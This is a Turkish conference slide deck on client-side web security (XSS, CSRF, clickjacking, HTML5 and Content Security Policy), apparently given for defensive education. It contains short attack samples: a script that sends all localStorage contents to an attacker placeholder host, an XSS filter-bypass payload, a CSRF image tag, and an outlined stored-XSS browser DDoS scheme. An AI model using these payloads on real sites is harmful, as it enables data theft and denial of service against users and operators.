client-side security & csp - mehmet İnce #siberguvenlikkonferansi 14.05.14
DESCRIPTION
Siber Güvenlik Konferansı'14 etkinliğinde Mehmet İnce tarafından gerçekleştirilen sunum dosyasıdır.TRANSCRIPT
Son Kullanıcı Güvenliği &
CSP Mehmet Dursun İNCE
mince@rootlab ~ $ whoami Mehmet Dursun İNCE Penetration Tester at IntelRAD Zafiyet Araştırmacısı Blog Yazarı: www.mehmetince.net Linux & OpenSource PHP, Python, ...
mince@rootlab ~ $ cat icerik.txt Client-Side Security Nedir ? CSRF, XSS ve ClickJacking Internet Tarayıcıları HTML5 SKiddieTrapper.js & CryptoPost.js
Son Kullanıcı Güvenliği Nedir ? ● SSL’den ibaret değildir. ● Güvenli “oturum” yönetimi gerektirir.
● User Interface güvenliği
S.K. Yönelik Popüler Siber Tehditler ● ... ● XSS ● CSRF ● Clickjacking ● ...
XSS XSS <script>alert(1)</script>’den ibaret değildir.
COOKIE değil Browser.
XSS Tehlikeleri - Password Cracking ● HTML5 - WebWorker
● Cracking Speed : 609.384 / sec (MD5)
● Ravan - JavaScript Distributed Computing System
XSS Tehlikeleri - L7 DDoS ● XMLHttpRequest - WebSockets
● www.hedef.com/?search=”a”+”b”
● 10,000 / min
XSS Tehlikeleri - Demo - Step 1 ● http://www.hacker.com/ddos.js
XSS Tehlikeleri - Demo - Step 2 ● Dakika içinde 100 tekil kullanıcı alan web
sitesine ddos.js dosyası Stored XSS vb yöntemler ile yerleştirilir.
● Örneğin : e-ticaret, gazete/haber siteleri. ● Sosyal mühendislik + reklam (JS!) ?
XSS Tehlikeleri - Demo - Step 3 ● http://lab.mehmetince.net adresine giren
Chrome kullanıcıları.
XSS Tehlikeleri - Demo - Step 3 ● Request sunucuya erişecektir, dönen
değerin okunması ve işlemi alınması yasaktır!
XSS Tehlikeleri - Demo - Sonuç ● Ortalama her tarayıcı 10,000 talep / dakika ● Dakika içerisinde 100 tekil kullanıcı alan bir
sitenin ziyaretçileri üzerinden; ● Toplam ≃ 1.200.000 / dakika ● = 200.000 / saniye ● WAF ? Firewall ?
CSRF - Cross Site Request Forgery Özet - HTTP GET; … <img src="//site.com/sing_out"> …
CSRF - Cross Site Request Forgery Özet - HTTP POST;
CSRF - Demo - Step 1 1. Hedef : eticaret sitesi kullanıcıları. 2. Kullanıcı mail adresi değişikliği işleminde
mevcut şifre talep edilmemektedir. 3. Uygulama genelinde CSRF Token
kullanılmamıştır.
CSRF - Demo - Step 2 1. www.herhangibirsite.com adresine aşağıdaki
CSRF Exploit kodları yerleştirilir.
CSRF - Demo - Step 3.1 www.herhangibirsite.com adresini ziyaret eden kullanıcı, farkında olmadan email adresini değiştiren HTTP talebini gönderir.
CSRF - Demo - Step 3.2
EMAIL DOĞRULAMA
CSRF - Demo - Step 4
ŞİFREMİ UNUTTUM
ClickJacking
ClickJacking - Önlemi X-Frame-Options : DENY, SAMEORIGIN, https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet
HTML5 Avantajları
● Blacklist Bypass o ... o <video poster=javascript:alert(1)//></video> o …
HTML5 Local Storage <script> localStorage.setItem("email", "[email protected]"); var f = document.getElementById("email"); f.innerHTML=localStorage.getItem("email"); </script>
HTML5 Local Storage <script> for(var i = 0; i < localStorage.length; i++){ var key = localStorage.key(i); var a = new Image(); a.src="http://saldirgan/kaydet.php?key=" + key + "&value=" + localStorage.getItem(key); } </script>
Content Security Policy
Content Security Policy - Özellikler connect-src : WebSocket, XHR, EventSource font-src : https://themes.googleusercontent.com frame-src: https://youtube.com img-src : * -Her şeye izin ver- media-src : *.site.com object-src : self -Flash vb- script-src : ‘self’ ‘unsafe-eval’ ‘unsafe-inline’ style-src : self
Content Security Policy - Örnek
Facebook CSP Örneği
Content Security Policy - Rapor script-src : ‘self’ report-uri : ‘log.php’
X-XSS-Protection X-XSS-Protection: 1; mode=block
CryptoPost.js ● RSA Key Encryption ● POST parametreleri encrypt etmek. ● Hacker’lara ve MITM saldırılarına önlem. ● Opensource ve pull request’e açık. ● https://github.com/mmetince/crypto_post
SKiddieTrapper.js ● Potansiyel saldırganlara tuzak kurmak. ● FORM’lara input’lar enjekte etmekte. ● Opensource ve pull request’e açık. ● https://github.com/mmetince/skiddie_trapper
SKiddieTrapper.js
Teşekkürler ● www.mehmetince.net ● twitter.com/mmetince